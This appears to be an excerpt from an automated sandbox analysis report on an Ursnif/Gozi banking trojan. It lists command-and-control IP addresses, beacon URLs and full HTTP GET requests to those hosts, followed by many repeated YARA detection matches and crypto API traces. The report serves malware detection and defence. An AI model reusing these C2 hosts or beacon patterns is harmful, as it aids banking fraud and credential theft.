      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uew
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOE
      Source: regsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.1)
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130.com/drew/9LcD_2Fa7rVeE11IJXTR4Pz/zRm3zjiK7C/Fet45NVoUZMxd9LFr/H2YR4ZMconIA/xj
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002D1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/5_q
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/drew/abMXMSmVBmYx
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/drew/abMXMSmVBmYxpM/crxG5ITm3ggBhYY2SvdHf/Boi5xXMrT8BGN3gP/hoX7Gn4_2Fg77Mh/dU
      Source: regsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQ
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/
      Source: regsvr32.exe, 00000003.00000002.637145529.0000000000A56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLh
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.c
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/6B5EsKcceWEEP/X3GZtv8J/SpsvLVr3colXPMDooVo2KMa/9JrETiCIHl/yCdB9amfw_
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/9LcD_2Fa7rVeE11IJXTR4Pz/zRm3zjiK7C/Fet45NVoUZMxd9LFr/H2YR4ZMconIA/xj
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/A1KCFeCxbFcuIx/Zkh_2BrxD2eYmRFYiG1YU/EbZzop68QS6hT9a8/y1OIHzLF3AmJuQ
      Source: rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/BoHYQTZGAv0Wjrb/hkHmA8x1c_2FV_2Bhf/GUC8zVHro/2R0snw_2BNx5nUr7TbuF/PI
      Source: unknownDNS traffic detected: queries for: checklist.skype.com
      Source: global trafficHTTP traffic detected: GET /drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewF/5tnGr6riVZK/horfC4izkHtm_2/FRsyiPSStAcxMMw3KVag3/lKaiS0nUr_2F9hqf/3RFXwKt5J2tbPXS/ORUwyogCPRAU0lNCrZ/gUX2p4uf0/52fR7fuL9TQAnM8MZktZ/jn3oNSUBUG6ObRKZ9t0/G7muspir0_2FXwVFTkRBH_/2BQHEsUwGWwZ0/Fyq3Jq6I/bVBsCJjOxydll2fOCh9ATvJ/bvtlKOuLy_2F/Q3nLg.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/96WbEBcUq7aJNS/kQ0wfLfN8JI6VjNCsUTzK/WK90z9_2B7XAX2XG/upXptMjAiJhGB_2/Bx9kHdvFY9mjvzV9Hj/avb7Lzylq/E6cSDs9cPFVIqeDwACTJ/PK1QG41MThu4L3_2B6a/xhZK1ebw1k5lunwYBFV1UH/ikwAGEMpwJtiI/gAOTzF2x/QdYlHgDS6vS3tl1dP0NvynL/VzsZJRafdD/wCq0UKL04BDOdNThW/cyleJ18Ljhqu/5wzZFHiwSjI/c6vGjdr4_2FGZn/hLs_2Bk1McXgWzPfoUmWZ/5FTAJ.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/fv81LNtTjb/WMu9hRxTSlmya2yS5/NZdcUrPHfmjK/9t9_2BOy0lh/nF4c4PFwxx8dGy/L8Ie_2FDCX8inll_2BYup/22F05C4OM7Bflev3/xI4d2lnP2nuU1kC/CQgFtndDaK95oGOo2W/10kXr_2BF/Pn5wroeQhBHPVbdtsdZn/Kq3ArJkFaNBMaRoHraG/F4gF6a4CfhJLmRyy06tNKV/CkuVd_2BYA_2B/x3czcx7b/iMUew5dDQFwomGeMWtfxunT/TtS9qbBehh/Cia3q9FliYD24EPNk/ovExEyt6d1c/_2FQOc.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOER/U_2BmkwqPxv/wex3_2BXhpNs_2/FfTr8ObOol6Bj9R73wclO/iN3ZGgw_2FTW1k0k/luhMat3D15ps5pc/VPMczQb7jaMQeEGLKK/fpMOyitjr/DuMSxLZyDG8N07SyLrF1/2wkeD9mjZDtnaTddkgI/5ZIwJr9wIkKxpgF826PPbc/DjUKFQFImz7i_/2BJLH_2F/X7QeeTQFd0zea_2FLWouvvO/OGzuRk5GsdmCq/tYpK.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35pl80/1_2F0KF9XAnBGTAWU/6q7vPexFna0n/vkYoVYgnqm_/2BwrG_2Fo7duoa/ZW3p3VZlvN9gSsPX0t0OU/QJLeLZgTtGb189u0/LqnBpFbOpLe_2Fq/qX6lmCkrJcTwgvrtIi/q63A1D73c/Cbr49X6IDaFw8rI4UypV/iAW63u87DH8ORxNJjv_/2FbnvH4rTy9JmyXxkus_2F/hqBLgSxGlLjnX/vAha2ByMtF/i.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/tKbIR0uTOA/YGp3puDNXehEZbQwE/fGmFaQVFoJtq/gh9ffXM_2BM/pvD5cczRnUGAJt/wyPvZqseQyf_2FgGUBjg_/2FwZiGG6m0393Rgv/jei71BL6Fgif3Oa/BF53JssGLmdk6BtePS/l5Q_2F8ae/5hhBlXwCQVa_2BbsBVmA/pItQe_2FwyY_2F76rOr/TVPU3k_2Fd7uBMTG_2BZ28/YJ5psF0DmwraU/iwe51xIV/NnaeAuemS3dLHC60tOsOqlb/y_2Bh4L_2B/plVh_2Bjto1OPuRhU/S17U18mI4x3h/QpYIj8srDy4/eNqY.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/rQ80WmmISTdna6EZo8tb/N9IRYvXa9_2FwhYGLtw/DDguQwUmkKhF5p_2Fv32Qf/ct9aWPwjSgDO4/izTH4Bpy/ERFKMvJ7aXWRIOQSUNl8sXM/xs7duzy4Q5/KRDAN72gk9l1WXxwL/cukyXWTTIEPX/6MTef_2FekI/_2BVX_2Fn7fpGO/ms8CWSRLv1NwUWCqyCrWl/F0dorb0Gze_2BtCO/uXfBJVu4qNuzLBC/UAd8CfMJ5U6PUMkUP3/S75J42H7q/v2K4VDGPDBGfc7SFNv4x/_2FrM_2F_2FsrhfaQ4G/QMCkQkc9/Q.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhmUYS/9Ai_2FbPYCH7smvdO/717YthDS3IQv/PnSVc21Ngaw/Vn1_2BOZtOBahp/1EwwA_2BBv2Zwic4Bzf_2/FSmA6S25_2BBG7sZ/CgeidfDqrlSsz9g/mK8ACu1oXo0TMNlJny/3WcasiNsT/xGU8_2BCgXqRPbeAqlWe/W18ECevo_2BBj7U5N8n/EaS4hR1Jm_2BBoht2Prvvj/uur5n64jpKQI6/iMlZfntqy/QWBtk2.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/abMXMSmVBmYxpM/crxG5ITm3ggBhYY2SvdHf/Boi5xXMrT8BGN3gP/hoX7Gn4_2Fg77Mh/dUe1mA9DM8C0_2Bu1_/2FpGiPxKE/myL5DrWevSAMQAJldwWx/EFTSf7FCW0bmH6vyXa2/mCrgPBjdC5_2BgWAkPkj5Q/orXAxZza0rrPm/jEViahgM/Q1a7oD0HQVHEtwOELTT_2Fw/rOQB_2BxSQ/6hM_2FXQd2ejcDywh/ccgIb8z7h0YV/NEj7w6ZQ5Ou/6w4KHCQa0d05Gb/ziYPg_2BC1_2Bdt1B7Y_2/BR6LSOiRozfkoz/f.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/GLgt0o_2BqRUa/Fmfh_2F4/oZt6OFznTEzSsVmuRm79NIG/jNK_2FWE_2/B1QBzYkliIV240B9s/g7bqhiihM_2F/5z3pmiHiDcB/O6wtsN6IgcD_2B/E7iTA7iDvuu2ty7Z_2F9W/OISsw7ZpE_2FrCcj/xBp5YJaLVGIy_2F/sVdBrSW9xobA1IxwgC/AGGgU9rGi/fyC4JUAw5NMu0pj658cT/ycxD9UF3mU69kBGso8I/plEsLeDBwaF1GDeC0Npo4g/kliDuBrDIEn06/rzm17XfH/UvpcA8b6hIFmhjALBsyRZFi/j3ZS.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/WKFz3025oeNUAhVE3Cmp/ZODZbv5Riiei5wZByoB/kMByyfIjSBktM3GISHMiiv/ZYtCqsISKFnMm/IH3X_2BK/y_2BkYKMZvZGMw_2B_2FhUr/P6MWCXDttT/AZuEpaYyTv3XPPa2l/TN5MlFCAnA_2/BLhLaGQrb9o/jU3Mc3oa1Jzvcv/wRpb_2BNj3M_2FDWCYdlq/UUxszf3xF_2FFqbu/qGpEYfYPMMl7CQ5/NoEQGh_2FyBeCer3Sr/QzfVcxvoh/9MiNJW144f_2FkyJc7uw/idmvVZen8VxvSTYWhlZ/vvHuMwuf7B/_2B.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQBsofz/tMRJBCj9m9bkbB/ENasA7HJBxqPQBTd90cdK/i3YK42Z185DcHIlC/LnzLW1iqfFwH0JW/GZwwANuXL4AckgYBEk/dmLNxA6bN/3yD9Kk0CtmpCnb_2Bv_2/BqCRb9F9mdlERKj1wnL/P77LSYa_2FqOPRqho0ZqlU/3WoC6_2B_2BN0/QWJ44MOp/IdeBiXHuOUJvLGEbq_2Fg_2/B_2F3QGqeY/pFQW7yihK50tdejC/UQD.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache

      Key, Mouse, Clipboard, Microphone and Screen Capturing

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTR

      E-Banking Fraud

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTR
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,0_2_027C1508
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D81508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,3_2_00D81508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_03181508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_03181508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C91508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,5_2_02C91508

      System Summary

      barindex
      Malicious sample detected (through community Yara rule)
      Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
